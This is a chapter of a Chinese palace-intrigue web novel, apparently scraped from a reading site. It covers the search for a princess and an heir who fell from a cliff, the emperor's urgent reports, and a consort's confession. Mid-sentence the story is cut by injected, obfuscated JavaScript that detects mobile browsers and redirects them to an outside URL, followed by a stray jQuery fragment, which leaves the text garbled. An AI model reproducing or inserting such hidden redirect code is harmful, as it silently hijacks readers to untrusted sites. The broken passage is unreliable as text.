京畿卫的人出现在此，说明白露那边已按殿下的嘱托，成功见到了闻贵人。


    按照计划，殿下以身入局，要引东宫出手，再让京畿卫的人前来抓个现行，把这桩风波捅到陛下面前。如此一来，太子难逃陛下责罚，殿下还能顺势拉拢京畿卫的势力。


    本是个一举两得的好机会。


    怎料中途横生变故，全盘皆乱。


    眼下找到殿下和世子，才是最重要的。


    青鸾心中的警惕稍减，面上依旧凝重，郑重道：“秦世子护送公主出城，却受东宫卫队伏击，双双坠落悬崖，劳烦闻指挥使派出人手，助我等搜寻他们踪迹。”


    闻奚虽有预料，听得此言心里仍是一骇。


    秦世子可是金吾卫的二把手，且不说他护送公主出行是否陛下授意，单论其职位乃是陛下亲自提拔，太子莫不是疯了，竟敢同时对公主和陛下看中之人下手？


    这其中莫非另有隐情？


    闻奚默了一默，沉声吩咐下去：“所有人，全力搜寻公主和秦世子踪迹。”


    话音刚落，不远处一匹快马疾驰而来，马上士兵高声道：“报——”


    众人转眸看去。


    “禀指挥使，三里外的树林里发现东宫车驾，疑似太子遇刺。”


    青鸾闻言，瞳孔骤然收缩，握着刀柄的手指猛然收紧。


    公主刚刚遭遇东宫卫队伏击坠崖，转眼太子的车驾就在附近遇刺？世间哪有这般巧合？只怕是太子见事败露，急于脱身，甚至想反咬一口，将自己也伪装成受害者，混淆视听。


    闻奚亦是眼皮一跳，转眸与青鸾对视一眼，随后留下大部分人在此协助，自己翻身上马，带一小队人往东宫车驾所在的位置奔去。


    渐渐地，天光终于刺破云层，泼洒在狰狞的断崖与凌乱的人迹上。


    崖底晨雾浓重，寒意刺骨。


    裴衍立于乱石间，脊背颓然耷着，一动不动，眼睑半垂，目光凝在虚空某处，毫无生气。


    那一身青色常服，此刻遍布被岩棱荆棘划破的裂口，垂落在身侧的手，了无生息地悬着，几道新鲜的伤口仍在缓慢渗着血珠，顺着指尖，一滴，一滴，无声地砸落在脚下潮湿的碎石上。


    青鸾和闻奚从山道绕行下来，见到裴衍的模样皆是一怔。


    闻奚与裴衍曾在公务上打过交道，他印象中的裴衍，素来注重仪态，进退有度，虽偶有锐气，却从不失分寸，可不是眼前这般衣衫破烂，近似疯魔的仪态。


    公主府的护卫和京畿卫士兵还在沉默而迅速地四处搜寻着，无人敢靠近他。


    曹影身上遍布泥污，喘着大气，拿着一个水囊快步朝他走来，在他身旁站定后，眼底掠过一丝复杂难言的神色，道：“裴大人，先喝口水吧。”


    昨夜裴衍执意和他们一起顺着绳索往下，搜寻了整整一夜。


    这位素来持重端方的文臣，身上捆着数圈粗绳，抛去了所有体面，笨拙又固执地用那双本该执笔握笏的手，紧攥粗糙的麻索，沿着望不见底的嶙峋岩壁间一步步下落，好几次险些踏空，身子狠狠撞上石块，仍强撑着不肯走山道下去，生怕一旦放弃便会错失救援的良机。


    曹影就跟在他侧下方，心急如焚之余不免要留意他的安危。


    只是越往下，希望越渺茫。


    除了一匹摔得面目全非的马，什么也没找到。


    是以一路下来，曹影算是亲眼目睹了他无数次在崩溃边缘跌倒又爬起的瞬间。


    此刻，他整个人像是被抽干了最后一丝活气般，睫毛几不可察地颤动了一下，眼珠极其缓慢地转向那水囊，目光却空洞地穿透了过去，仿佛跌回了某个让他悔恨终身的瞬间……


    良久，他喉结微微一动，哑声问道：“可有……消息？”


    曹影唇线一抿，递出去的手慢慢收了回来，若有所思道：“没有找到尸身便是最好的消息，您想想，此山崖下多有横长出来的树干，若真……真有不测，绝不会毫无痕迹。”


    他喘了口气，目光投向高处身捆绳索仍在竭力搜寻的身影，声音压低，却带着一种自己也需要确信的坚持，“况且，以世子的身手和应变能力，绝不会让公主有事的！”


    至少按照目前的情形来看，只能这么认为。


    不见尸体，不下定论，存有希望才能寻到生机。


    “你说得对……”裴衍终于拾回些理智，喃喃道，“秦铮会护着她的……”


    那个男人护她的决心与能力，他从不怀疑。


    哪怕是与这冷酷的自然之威对抗，秦铮也定会想尽办法，为她挣得一线生机。


    对……接着找……


    他甚至没有勇气再去抬头看一眼那道沉高耸逼人的崖壁，只道：“留意藤蔓茂盛之处，以及能够形成遮蔽的树丛、灌木，是否有压折的痕迹的。他们若还活着，未必会在明处。”


    曹影立刻应声：“是！”


    随即迅速转身，将命令清晰传达下去，自己也立刻调整了搜寻方向。


    闻奚知晓此时并非攀谈的时机，但他刚从太子出事的位置过来，心中怀有疑虑，暗道有些关节还是得提前跟这位裴大人通个气才行。


    他缓步靠近河滩，在立裴衍数步距离处停住。


    “裴大人，昨夜闻某接到密报，公主此番遇袭恐系东宫所为，可待闻某率人赶到时……”闻奚语速平稳，却字字清晰，“太子竟也在附近林中遇袭，身受重伤，依你看，此事该如何向陛下奏报？”


    若是平日，以裴衍之敏锐，轻易便能听出闻奚话里的暗示，可此刻，他轻抬眼帘，眼底爬着血丝，露出了漠然空洞的神情道：“先找到人再说。”


    答非所问。


    闻奚看着他，心下明了。眼前之人，神智虽在，心思却已不在此处了。他不再多言，只是微不可察地点了下头，转身欲走。


    就在他即将骑上士兵牵来的马匹时，身后突然传来裴衍的声音。


    “闻指挥使。”


    嗓音依旧沙哑，却带上了一丝奇异的镇定。


    闻奚回身望向他。


    裴衍依旧站在原地，沉沉目光中终于得见一丝清醒，语气清晰道：“太子遇刺，伤及国本，闻指挥使当加派人手，将太子殿下及其随行妥善保护于现场，勿使一人走脱，再生意外。”


    言外之意，便是要京畿卫将太子及其亲卫牢牢控制起来，在真相大白之前，绝不能让东宫有机会继续操控事态发展。


    闻奚眼底锐光一闪，当即对身侧亲信低语道：“速调一队人，去护卫太子殿下，所有人严加看管，不得出入。”


    亲信领命疾去。


    他再看向裴衍时，对方目光已不在此处。


    待他马蹄声远去，一个京畿卫的士兵朝着裴衍小跑过来，手里捧着一物，停在他面前高声道：“裴大人，在崖壁上发现此物。”


    裴衍定睛一看，是一枚小巧精致的银哨。


    他见过的。


    青鸾站在不远处，眸光一亮，立时道：“是殿下的物件！”


    裴衍将那枚银哨攥在手心，眼里燃起一簇希望，急声问道：“在哪找到的？”


    那士兵转身仰着头指向此刻正被晨雾缠绕的陡峭崖壁中段：“就在崖壁中间，大概……大概二三十丈高的地方，有一片往外凸的石头，上面的树枝有明显断裂的痕迹，这枚哨子就挂在最矮的那棵树上。”


    裴衍猛地抬头，目光紧紧注视着他指的位置，只觉狂跳的心脏几乎要撞碎胸腔，震得他头皮发麻，脑中唯一的念头脱口而出：“备绳索，我亲自上去。”


    *


    消息传至皇宫时，天际初白。


    宫门将开未开，丹陛之下，文武百官按品级肃立等候，低语声在清晨的寒气中嗡嗡作响，透着一种山雨欲来的不安。


    朝会的鸣钟还未敲响，从宫外送进来的急报已经跑了好几趟。


    太极殿暖阁内，李牧正由宫人服侍着盥手，尚未更衣。袁述亲自捧着个不起眼的黑漆木匣，趋步而入，面色是前所未有的凝重。


    “陛下，宫外来的急报，一共四封。”袁述躬身将木匣往前一递。


    李牧眼皮微抬，顿了一顿：“念。”


    袁述打开木匣，取出里头的纸笺，逐一念道：“京畿卫指挥使闻奚密奏：昨夜子时，晋平公主鸾驾于京西黑风崖遇袭坠崖，生死不明……”


    袁述下意识停顿一瞬，抬眼触及李牧骤然凝固的侧脸，喉咙一紧，硬着头皮接着念道，“永宁侯世


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011341|187540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子秦铮，时为公主护卫，亦一同失踪。现场……遗留有东宫卫队制式箭簇及甲片。”


    李牧闻言眸色骤冷，目光直射袁述：“黑风崖是何处？”


    袁述答道：“据说是郭氏罪女流放途径之地，晋平公主是念在与其情谊一场，特去相送。”他担心李牧没想起她俩的交情，特意补充道，“郭氏罪女曾是晋平公主的伴读。”


    李牧看着他，眸底渐深。


    袁述不敢停顿，迅速抽出下一张：“另据闻奚同一封密奏续报，黑风崖东北方向约三里处的松林内，发现太子殿下仪仗，现场亦有打斗痕迹，太子负伤，已由京畿卫就地保护。”


    “另外，五城兵马司及顺天府急报，昨夜，有四位朝臣于各自府邸暴毙，分别是……”


    “够了！”李牧喝止道，“闻奚人呢？让他来见朕！”


    暖阁内空气骤然紧绷之际，外面突然传来通报声：“启禀陛下，闻贵人求见。”


    李牧眉峰紧蹙，沉默半晌才道：“宣。”


    末了又补了一句，“传朕旨意，今日免朝，命京畿卫全力搜查公主下落，至于太子，让闻奚亲自带他来见朕！”


    袁述一一记下，深深俯首领命。


    殿门轻启，闻贵人缓步行至御前，盈盈下拜：“臣妾参见陛下。”


    她的双膝因腹部的重量而微微晃动。


    李牧注意到她眼下乌青，语气稍缓：“你有孕在身，起来说话。”


    闻贵人不敢起身，垂首道：“臣妾有罪，特来向陛下请罪。”


    京畿卫深夜擅动，李牧焉能猜不到她做了什么？此时不来请罪，即便是有孕在身，来日也难逃罪责，甚至祸及兄弟。


    见李牧不言，她接着说道：“昨夜晋平公主遣人持信物入宫来找臣妾，言道有人欲对她不利，念及夜深不敢惊扰陛下，只好求臣妾说动兄长调动京畿卫相助，臣妾深知擅动兵马乃大罪，但事关公主安危，臣妾想着……”


    她一口气说到此处，托着小腹重重换了一口气，“臣妾想着，陛下素来疼爱公主，若陛下得知此事，也定会不惜一切先救公主，是以臣妾便以私情相逼，说动兄长派人前去黑风崖，臣妾有罪，恳请陛下责罚！”


    李牧静静听完这番话，脸色并未缓和多少，只吩咐一旁的宫人：“扶贵人起来。”


    待她起身后，李牧才问：“可知是何人要对嫣儿不利？”


    闻贵人心头重重一跳，缓缓道：“昨夜慌乱之间，臣妾也未多问。”


    李牧眸光微微一动，看着她不说话。


    帝王之心向来多疑。


    闻贵人时常伴君左右，深知比起明确的指控，让人捉摸不透的答案更能引起李牧的猜忌。


    总之，她不能，也不敢说出“东宫”二字。


    李嫣若无事最好，若出了事，她也算仁至义尽了，万不能逞一时之勇，站在储君的对立面，否则她腹中的孩子以及整个闻氏一族，都将面临危险。


    李牧若有所思，最后道：“擅自调动京畿卫乃重罪，朕念及你初衷为善又有孕在身，不作计较，但，下不为例！”


    闻贵人眼睫一抖，徐徐道：“谢陛下，只是……不知公主……”


    她看向李牧，欲言又止。


    李牧目光微凝，沉声道：“嫣儿吉人自有天相，你先回去安心养胎吧。”


    此言一出，闻贵人便知大事不好，惴惴不安地福身告退。


    李蓁一早听闻消息，才是真正如同遭了晴天霹雳一般，愣了好一会才反应过来。


    “李嫣……死了？”她不可置信问道。


    雪云认真地点了点头：“说是坠了崖，京畿卫和公主府的人找了一夜，到现在还没找到尸身。”


    李蓁心口蓦地一空。


    那股积年累月的嫉恨与较劲，仿佛随着李嫣的骤然消失，瞬间变成一片茫然。


    她那些隐秘又反复推演过无数次的谋划，甚至还未来得及实施，她就这么死了？


    死了也好。


    她害死了母后，还害了郭家，本就该死。


    李蓁蓦地回想起昨夜在东宫意外撞见的画卷，心神未定之际，雪云又道：“太子殿下也遭遇了刺客。”


    她大惊道：“什么？”